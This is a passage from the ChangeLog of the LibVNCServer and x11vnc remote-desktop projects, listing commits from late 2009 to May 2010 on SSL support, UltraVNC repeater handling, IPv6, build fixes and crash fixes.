2382	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2383
23842010-05-05  runge <runge@karlrunge.com>
2385
2386	* classes/ssl/index.vnc, classes/ssl/proxy.vnc,
2387	classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
2388	classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README,
2389	x11vnc/misc/enhanced_tightvnc_viewer/README,
2390	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
2391	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2392	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2393	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
2394	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2395	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync.
2396
23972010-05-01  runge <runge@karlrunge.com>
2398
2399	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2400	x11vnc/help.c, x11vnc/misc/ultravnc_repeater.pl,
2401	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
2402	x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to
2403	          disable SSL client role in reverse connections.  Improvements to
2404	          logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option.
2405	          Increase SSL timeout and print message if 'repeater' mode is
2406	          detected for reverse SSL connection.  Fix RECORD scroll XCopyArea
2407	          detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL           to disable.  Limit logging of RECORD error messages.
2408
24092010-04-28  Johannes Schindelin <johannes.schindelin@gmx.de>
2410
2411	* client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2412
24132010-04-28  Corentin Chary <corentin.chary@gmail.com>
2414
2415	* CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary <corentin.chary@gmail.com>
2416	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2417
24182010-04-25  runge <runge@karlrunge.com>
2419
2420	* x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c,
2421	x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c,
2422	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new
2423	ultravnc_dsm_helper.c.
2424
24252010-04-18  runge <runge@karlrunge.com>
2426
2427	* x11vnc/ChangeLog,
2428	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2429	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2430	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
2431	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2432	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
2433	tch,
2434	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2435	ll.patch: Sync ssvncviewer changes.
2436
24372010-04-18  runge <runge@karlrunge.com>
2438
2439	* x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c,
2440	x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h,
2441	x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
2442	x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c,
2443	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
2444	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
2445	x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2446	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: 
2447	Improvements to demo scripts. Alias -coe for -connect_or_exit.  Fix
2448	HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens.
2449
24502010-04-09  runge <runge@karlrunge.com>
2451
2452	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2453	x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c,
2454	x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
2455	x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
2456	x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
2457	x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1,
2458	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
2459	x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for
2460	-connect_or_exit failure, quiet query mode for grab_state,
2461	pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular
2462	interface. -input_eagerly in addition to -allinput.  quiet Xinerama
2463	message.
2464
24652010-04-09  runge <runge@karlrunge.com>
2466
2467	* classes/ssl/ss_vncviewer,
2468	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2469	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to
2470	Java viewer: troubleshooting settings and workarounds, misc bug
2471	fixes.
2472
24732010-04-09  runge <runge@karlrunge.com>
2474
2475	* x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
2476	x11vnc/misc/enhanced_tightvnc_viewer/README,
2477	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
2478	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2479	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2480	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
2481	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
2482	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2483	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2484	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
2485	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2486	ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26.
2487	Improvements to perl scripts desktop.cgi, connect_switch and
2488	inet6to4.
2489
24902010-03-21  runge <runge@karlrunge.com>
2491
2492	* classes/ssl/README, classes/ssl/onetimekey,
2493	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2494	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2495	x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
2496	x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README,
2497	x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
2498	x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
2499	x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c,
2500	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
2501	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl:
2502	          Many improvements to Java SSL applet, onetimekey serverCert param,
2503	          debugging printout, user dialogs, catch socket exceptions,
2504	autodetect x11vnc for GET=1.  x11vnc: misc/scripts: desktop.cgi,
2505	          inet6to4, panner.pl.  X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx
2506	          documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for
2507	          create script, autodetect dm on udp6 only.  Queries: pointer_x,
2508	          pointer_y, pointer_same, pointer_root.  Switch on -xkd if keysyms
2509	          per key > 4 in all cases.  daemon mode improvements for
2510	          connect_switch, inet6to4, ultravnc_repeater.pl.  Dynamic change of
2511	          -clip do not create new fb if WxH is unchanged.
2512
25132010-03-21  runge <runge@karlrunge.com>
2514
2515	* configure.ac: I think two HAVE_X's were missed.
2516
25172010-03-13  Johannes Schindelin <johannes.schindelin@gmx.de>
2518
2519	* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation
2520	without TLS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2521
25222010-03-13  Johannes Schindelin <johannes.schindelin@gmx.de>
2523
2524	* client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix
2525	compilation with newer automake For some reason, this developer's automake no longer understands
2526	_SOURCES lines anymore. Work around that.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2527
25282010-03-13  Johannes Schindelin <johannes.schindelin@gmx.de>
2529
2530	* client_examples/Makefile.am, configure.ac: Rename HAVE_X ->
2531	HAVE_X11 This change is just for consistency reasons.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2532
25332010-02-22  runge <runge@karlrunge.com>
2534
2535	* classes/ssl/README,
2536	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2537	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2538	x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c,
2539	x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h,
2540	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl:
2541	Java SSL applet viewer now works with certificate chains.  x11vnc:
2542	Printout option -sslScripts.  Suggest -auth guess in error message.
2543	Set fake_screen width and height.  Test for +kb in Xvfb.
2544
25452010-01-22  Christian Beier <dontmind@freeshell.org>
2546
2547	* libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set
2548	serverPort in rfbInitClient().  The serverPort member is already set in rfbGetClient(), if we set it
2549	again in rfbInitClient(), this breaks playing of vncrec files (this
2550	relies on serverPort set to -1).  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2551	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2552
25532010-01-16  Johannes Schindelin <johannes.schindelin@gmx.de>
2554
2555	* libvncclient/vncviewer.c: LibVNCClient: make sure that the port is
2556	initialized correctly.  While at it, adjust coding style.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2557
25582010-01-15  Vic Lee <llyzs@163.com>
2559
2560	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
2561	rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized
2562	correctly] Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2563	Schindelin <johannes.schindelin@gmx.de>
2564
25652010-01-07  runge <runge@karlrunge.com>
2566
2567	* x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1,
2568	x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy.
2569
25702010-01-07  Christian Beier <dontmind@freeshell.org>
2571
2572	* libvncserver/font.c: libvncserver/font.c: add some checks to
2573	rfbDrawChar().  In some cases (bad font data) the coordinates evaluate to <0,
2574	causing a segfault in the following memcpy().  [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier <dontmind@freeshell.org>
2575	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2576
25772010-01-07  Christian Beier <dontmind@freeshell.org>
2578
2579	* vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of
2580	ctrl key being stuck.  Issue was reported as Debian bug ##555988,
2581	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier <dontmind@freeshell.org>
2582	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2583
25842010-01-04  Christian Beier <dontmind@freeshell.org>
2585
2586	* vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at
2587	"linuxvnc 1 -help".  This fixes Debian Bug #399501: Switch to tty1.  Run "linuxvnc 1
2588	-help".  You see help text, followed by "Segmentation fault".  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2589	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2590
25912010-01-02  runge <runge@karlrunge.com>
2592
2593	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
2594	x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c,
2595	x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c,
2596	x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h,
2597	x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h,
2598	x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h,
2599	x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
2600	x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c,
2601	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
2602	x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c,
2603	x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy,
2604	x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c,
2605	x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h,
2606	x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h,
2607	x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h,
2608	x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h,
2609	x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
2610	x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
2611	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
2612	x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
2613	x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c,
2614	x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c,
2615	x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h,
2616	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
2617	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
2618	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
2619	x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
2620	x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
2621	x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc:
2622	small tweaks to Xdummy, rx11vnc*.  Apply SMALL_FOOTPRINT to
2623	-appshare text.  Copyright year change.
2624
26252010-01-02  runge <runge@karlrunge.com>
2626
2627	* libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++;
2628
26292010-01-02  runge <runge@karlrunge.com>
2630
2631	* ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c: 
2632	tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight
2633	security type for RFB 3.8 (debian bug 517422.)
2634
26352010-01-01  Vic Lee <llyzs@163.com>
2636
2637	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
2638	rfb/rfbclient.h: Add support for viewers to select security types on
2639	demand Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2640	Schindelin <johannes.schindelin@gmx.de>
2641
26422009-12-29  runge <runge@karlrunge.com>
2643
2644	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
2645	x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2646	x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv.
2647	Hopefully done fixing Xdummy.
2648
26492009-12-28  runge <runge@karlrunge.com>
2650
2651	* x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c,
2652	x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
2653	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
2654	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2655	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
2656	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2657	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2658	ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc,
2659	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
2660	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in
2661	--without-x builds.  Fix crash with -QD query for dbus info.  Adjust
2662	window size for small screens in -gui.  Improve F1 help for xdm,
2663	etc.  include ssvnc 1.0.25 source.
2664
26652009-12-24  runge <runge@karlrunge.com>
2666
2667	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
2668	x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h,
2669	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2670	x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10.
2671	        -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde
2672	        session.  Xdummy improvements and root no longer required.
2673
26742009-12-20  Vic Lee <llyzs@163.com>
2675
2676	* libvncclient/rfbproto.c: Fix version checking (>=3.8) for
2677	rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK  when there is no password
2678	with anonymous TLS, and it seems that vino is the only <3.8 VNC
2679	server that handles anonymous TLS at all, so let's not wait for the
2680	packet that will never come.  Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2681	Schindelin <johannes.schindelin@gmx.de>
2682
26832009-12-21  runge <runge@karlrunge.com>
2684
2685	* x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c,
2686	x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
2687	x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h
2688	        but still have ssl. Tweak ps command in find_display. Try to handle         AIX su. Ignore an initial newline at login: for -unixpw.
2689
26902009-12-18  runge <runge@karlrunge.com>
2691
2692	* x11vnc/ChangeLog: ChangeLog typo
2693
26942009-12-18  runge <runge@karlrunge.com>
2695
2696	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
2697	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
2698	x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2699	x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG.
2700	Prefer Xvfb over Xdummy.  Reduce wait time for https. Add 'Login
2701	succeeded' output to unixpw panel.
2702
27032009-12-18  runge <runge@karlrunge.com>
2704
2705	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2706	x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
2707	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other
2708	        remote control actions under DIRECT: with an extra XFlush and other
2709	        safety measures.  fflush(stderr) much in su_verify.  Make the
2710	        -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST
2711	        work correctly.  Make -loopbg actually imply -bg.
2712
27132009-12-15  runge <runge@karlrunge.com>
2714
2715	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c,
2716	x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch,
2717	x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c,
2718	x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c,
2719	x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c,
2720	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
2721	x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var.
2722	fakebuttonevent action, connect_switch and ultravnc_repeater.pl
2723	scripts, find_display try FD_XDM on failure, -quiet and -storepasswd
2724	changes, better port 113 testing.
2725
27262009-12-07  runge <runge@karlrunge.com>
2727
2728	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
2729	x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c,
2730	x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2731	x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS,
2732	X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX,
2733	-findauth/-auth guess FD_XDM=1 for root, work around xhost
2734	SI:localuser:root.
2735
27362009-12-05  runge <runge@karlrunge.com>
2737
2738	* classes/ssl/ss_vncviewer,
2739	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2740	x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c,
2741	x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java
2742	and scripts in classes/ssl.  x11vnc: declare crypt() on all
2743	platforms.  more wishes.
2744
27452009-12-02  runge <runge@karlrunge.com>
2746
2747	* x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
2748	x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c,
2749	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c,
2750	x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c,
2751	x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc,
2752	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
2753	x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h,
2754	x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1,
2755	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
2756	x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for
2757	sharing an application windows instead of the entire desktop. map
2758	port + 5500 in reverse connect.  Add id_cmd remote control functions
2759	for id (and other) windows.  Allow zero port in SSL reverse
2760	connections.  Adjust delays between multiple reverse connections;
2761	X11VNC_REVERSE_SLEEP_MAX env var.  Add some missing mutex locks; add
2762	INPUT_LOCK and threads_drop_input.  More safety in -threads mode for
2763	new framebuffer change.  Fix some stderr leaking in -inetd mode.
2764
27652009-12-01  runge <runge@karlrunge.com>
2766
2767	* libvncserver/cursor.c, libvncserver/sockets.c,
2768	libvncserver/translate.c: Add locks of updateMutex in
2769	rfbRedrawAfterHideCursor() and rfbSetClientColourMap().  Up listen
2770	limit from 5 to 32.
2771
27722009-11-18  runge <runge@karlrunge.com>
2773
2774	* x11vnc/misc/enhanced_tightvnc_viewer/README,
2775	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
2776	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
2777	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
2778	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2779	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2780	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2781	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2782	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2783	ll.patch: ssvnc/enhanced_tightvnc_viewer update.
2784
27852009-11-18  runge <runge@karlrunge.com>
2786
2787	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
2788	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h,
2789	x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c,
2790	x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h,
2791	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
2792	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
2793	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc:
2794	-findauth, -auth guess, & etc.
2795
27962009-11-11  Christian Beier <dontmind@freeshell.org>
2797
2798	* libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better
2799	return value for non-forking listen.  The return value now better reflects what has happened: 1 on success
2800	(incoming connection on listen socket, we accepted it successfully),
2801	-1 on error, 0 on timeout.  Also change the select calls to not check _all_ possible file
2802	descriptors.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2803	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2804
28052009-11-05  Christian Beier <dontmind@freeshell.org>
2806
2807	* libvncclient/listen.c, libvncclient/rfbproto.c,
2808	libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for
2809	socket values, 0 is a legal value.  To make this work, we also have to initialize sockets to a default
2810	value of -1.  Also close a client listen socket if it's open.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2811	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2812
28132009-10-31  Christian Beier <dontmind@freeshell.org>
2814
2815	* libvncclient/vncviewer.c: libvncclient: include winsock2.h in
2816	vncviewer.c.  fixes warning about closesocket being implicitly declared.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2817	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2818
28192009-11-05  Vic Lee <llyzs@163.com>
2820
2821	* configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2822	Schindelin <johannes.schindelin@gmx.de>
2823
28242009-11-04  Vic Lee <llyzs@163.com>
2825
2826	* client_examples/ppmtest.c, examples/example.c,
2827	libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c,
2828	libvncserver/tightvnc-filetransfer/rfbtightserver.c,
2829	vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2830	Schindelin <johannes.schindelin@gmx.de>
2831
28322009-10-07  Vic Lee <llyzs@163.com>
2833
2834	* libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h,
2835	rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2836	Schindelin <johannes.schindelin@gmx.de>
2837
28382009-10-31  Johannes Schindelin <johannes.schindelin@gmx.de>
2839
2840	* AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2841
28422009-10-31  Christian Beier <dontmind@freeshell.org>
2843
2844	* client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up
2845	the same client twice.  If rfbInitConnection fails, it cleans up the client, so protect
2846	against doing it ourselves again.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2847	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2848
28492009-10-30  Christian Beier <dontmind@freeshell.org>
2850
2851	* client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler
2852	to be able to actually stop program.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2853	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2854
28552009-10-26  Christian Beier <dontmind@freeshell.org>
2856
2857	* client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork
2858	when -listen specified.  As -listen mode isn't really working under UNIX and not at all under
2859	windows, use -listennofork and an outer listen loop instead.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2860	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2861
28622009-10-26  Christian Beier <dontmind@freeshell.org>
2863
2864	* libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h: 
2865	libvncclient: add a non-forking listen function.  Forking the whole process from deep within a library call does not
2866	really work at all with apps that use multiple threads, i.e. every
2867	reasonably modern GUI app. So, provide a non-forking listen function
2868	so that the caller can decide if to fork, start a thread, etc.  This implementation adds a timeout parameter to be able to call the
2869	listen function multiple times so that it's possible to do sth. else
2870	in between, e.g. abort listening.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2871	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2872
28732009-10-21  Christian Beier <dontmind@freeshell.org>
2874
2875	* client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode
2876	work _somewhat_.  set the port to listen on and really ensure that the window of the
2877	fork()ed instance is closed.  works somewhat: it's now actually possible to listen for an incoming
2878	connection and to close it again, but the second connection attempt
2879	fails with 'XIO:  fatal IO error 11 (Resource temporarily
2880	unavailable)'. this could relate to the fact that SDL uses threads
2881	internally and we're fork()ing here...  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2882	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2883
28842009-10-30  Christian Beier <dontmind@freeshell.org>
2885
2886	* libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work
